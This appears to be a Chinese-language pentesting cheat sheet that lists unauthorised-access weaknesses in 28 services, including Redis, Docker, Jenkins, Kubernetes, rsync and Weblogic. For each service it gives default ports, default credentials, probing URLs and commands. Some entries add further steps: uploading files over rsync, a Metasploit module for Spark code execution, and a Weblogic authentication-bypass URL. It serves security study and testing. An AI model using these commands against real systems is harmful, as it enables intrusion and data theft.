未授权漏洞总结

各类未授权访问漏洞原理、利用方式总结...

本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…

1. Active MQ 未授权访问

默认端口:8161
默认密码:admin/admin
服务指纹

1
2
3
PORT     STATE SERVICE VERSION
8161/tcp open http Jetty httpd 7.6.7.v20120910
|_basic realm=ActiveMQRealm

2. Atlassian Crowd 未授权访问

默认端口:8095
漏洞路径:/crowd/admin/uploadplugin.action
poc: https://github.com/jas502n/CVE-2019-11580

3. CouchDB 未授权访问

默认端口:5984
测试命令

1
2
curl ip:5984
curl ip:5984/_config

4. Docker Remote API未授权访问

默认端口:2375
漏洞验证

1
2
3
4
查看版本:http://ip:2375/version

列出容器信息:http://ip:2375/v1.23/containers/json

漏洞复现

1
2
3
4
5
6
7
1) 列出所有镜像

docker -H tcp://*.*.*.*:2375 images

2)列出所有容器

docker -H tcp://*.*.*.*:2375 ps -a

5. Dubbo 未授权访问

默认端口:20880
漏洞验证

1
2
telent IP port
nc IP PORT

6. Druid 未授权访问

漏洞检测

1
2
3
4
5
6
7
直接在网站的url中后加上以下路径,如无需登录,可登录到Druid监控界面,则漏洞存在

/druid/index.html
/druid/websession.html
/druid/datasource.html
/druid/sql.html
/druid/spring.html

7. Elasticsearch 未授权访问

默认端口:9200/9300
漏洞测试

1
2
3
http://host:9200/_cat/indices
http://host:9200/_river/_search #查看数据库敏感信息
http://lhost:9200/_nodes #查看节点数据

8. FTP 未授权匿名访问

漏洞验证

1
2
3
4
5
访问ftp路径:ftp://ip:port/

匿名登录:
a. ftp的密码为空
b. anonymous的密码为空或者guest

9. Hadoop Yarn REST API未授权漏洞

默认端口:8088(WebUI)、50070、50075
漏洞验证

1
2
3
4
5
6
1) 未授权访问,可看到Hadoop YARN ResourceManager WebUI页面
http://ip:8088/
http://ip:8088/cluster

2) 验证指令: 返回application-id可能存在漏洞
curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

10. JBoss 未授权访问

漏洞介绍
JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问http://ip:8080/jmx-console 就可以浏览 Jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马
漏洞检测
访问 http://ip:port/ 看是否能进入 jmx-console 和 web-console 页面

1
2
http://ip:8080/jmx-console/
http://ip:8080/jbossws/

11. Jenkins 未授权访问

漏洞简介
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进行脚本执行界面从而获取服务器权限
漏洞检测
通过url输入以下地址,若能访问,证明存在未授权访问漏洞

1
2
http://<target>:8080/manage
http://<target>:8080/script

12. Jupyter Notebook 未授权访问

漏洞介绍
当管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令
漏洞检测

1
2
3
1. 访问http://your-ip:8888将看到Jupyter Notebook的Web管理界面,没有要求填写密码

2. 选择 new -> terminal 即可创建一个控制台,执行任意指令

13. Kibana 未授权访问

漏洞简介
Kibana暴露在外网,没有做安全的登录认证,会被外部随意访问查看所有的数据,造成少数据泄露
漏洞检测
直接访问kibana的页面

1
2
3
http://ip:5601/
https://ip/app/kibana#
http://ip:5601/app/kibana#/

14. Kubernetes API Server 未授权

漏洞简介
Kubernetes 的服务在正常启动后会开启两个端口:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端口都是提供 Api Server 服务的,8080可以直接通过 Web 访问,6443可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限,攻击者就可以通过这两个接口去获取容器的权限
漏洞检测

1
2
3
端口:8080,api dashboard:http://ip:8080/ui

端口:10250,kubelet API的HTTPS端口,通过路径/pods获取环境变量、运行的容器信息、命名空间等信息:https://ip:10250/ui

15. LDAP 未授权访问

默认端口:389
使用nmap寻找到相关的LDAP服务器,可以使用ldapbrowser直接连接,获取目录内容

16. MongoDB 未授权访问

漏洞简介
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 –auth (默认空口令)
漏洞检测

1
mongo --host ip --port 27017

17. Memcached 未授权访问

漏洞简介
Memcached 端口对外开放并且没有配置认证选项,未授权用户可直接获取数据库中所有信息,造成严重的信息泄露
漏洞检测
无需用户名密码,直接连接memcache 服务的11211端口,连接后使用 stats 命令来输出 Memcached 服务信息

1
telnet ip 11211 或 nc -vv ip 11211

18. NFS 未授权访问

漏洞简介
服务器在启用nfs服务以后,由于nfs服务未限制对外访问,导致共享目录泄漏
默认端口:2049/20048
漏洞检测

1
2
3
4
5
6
7
8
#查看nfs服务器上的共享目录
showmount -e ip

#挂载相应共享目录到本地
mount -t nfs ip:/grdata /mnt

#卸载目录
umount /mnt

19. Rsync 未授权访问

漏洞简介
Rsync默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件;rsync未授权访问危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行
漏洞检测

1
2
3
4
5
6
7
8
9
10
11
12
1) 列出目标服务器的同步目录
rsync ip::
rsync rsync://ip:873

2) 查看模块文件

rsync rsync://ip:873/moudle

3) 下载上传文件
下载:rsync -av ip::src/路径 文件路径
上传:rsync -av 文件路径 rsync://ip:873/目标系统文件路径

20. Redis 未授权访问

漏洞简介
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令
漏洞检测

1
2
3
4
5
1) 使用redis-cli命令直接远程免密登录redis主机

redis-cli -h 目标主机IP

2) 连接后执行命令ping,如返回响应PONG,则存在漏洞

21. RabbitMQ 未授权访问

漏洞检测
默认账号密码为guest

1
2
3
http://ip:15672
http://ip:25672/
http://ip:15692/

22. Solr 未授权访问

漏洞简介
Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。
solr未授权访问的危害很大,轻则可查询所有数据库信息,重则可读取系统任意文件,甚至getshell
漏洞检测
敏感目录扫描时加上 /solr/admin

1
2
http://xx.xx.com/solr/admin
https://xx.xx.com/solr/admin

23. SpringBoot Actuator 未授权访问

漏洞简介
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。
在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至接管服务器
漏洞检测
访问敏感路径: http://ip/path

请求方式 URL路径 功能描述
get /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
get /configprops 描述配置属性(包含默认值)如何注入 Bean
get /beans 描述应用程序上下文里全部的 Bean,以及它们的关系
get /dump 获取线程活动的快照
get /env 获取全部环境属性
get /env/{name} 根据名称获取特定的环境属性值
get /health 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供
get /info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
get /mappings 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系
get /metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
get /metrics/{name} 报告指定名称的应用程序度量值
post /shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)
get /trace 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)

24. Spark 未授权访问

漏洞简介
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码
漏洞检测

1
2
3
4
5
6
7
8
9
10
1) nmap探测

6066/tcp open http Jetty 9.3.z-SNAPSHOT
8081/tcp open http Jetty 9.3.z-SNAPSHOT
8082/tcp open http Jetty 9.3.z-SNAPSHOT

2) msf利用

msf5>use exploit/linux/http/spark_unauth_rce

25. VNC 未授权访问

漏洞简介
VNC 是虚拟网络控制台Virtual Network Console的英文缩写,是一款优秀的远程控制工具软件。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机
漏洞检测

1
2
3
4
5
6
7
8
1) msf检测

auxiliary/scanner/vnc/vnx_none_auth

2)vncviewer命令连接主机

vncviewer ip

26. Weblogic 未授权访问

漏洞简介
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令
漏洞检测
访问 http://ip:7001/console 即可查看到后台登录页面
weblogic权限绕过(CVE-2020-14882)

1
2
3
构造特殊请求的URL,即可未授权访问到管理后台页面

http://ip:7001/console/css/%252e%252e%252fconsole.portal

27. ZooKeeper 未授权访问

漏洞简介
ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境,任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务
漏洞检测

1
2
3
4
5
echo envi | nc ip port          #获取服务器环境信息
echo stat | nc ip port #获取性能和连接的客户端的统计信息
echo ruok | nc ip port #测试服务器是否运行在非错误状态
echo reqs | nc ip port #列出未完成请求
echo dump | nc ip port #列出未完成的会话和临时节点

28. Zabbix 未授权访问

漏洞简介
zabbix是一款服务器监控软件,默认服务开放端口为10051,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果
漏洞检测
无需账户密码直接访问zabbix页面

1
http://ip:port/zabbix.php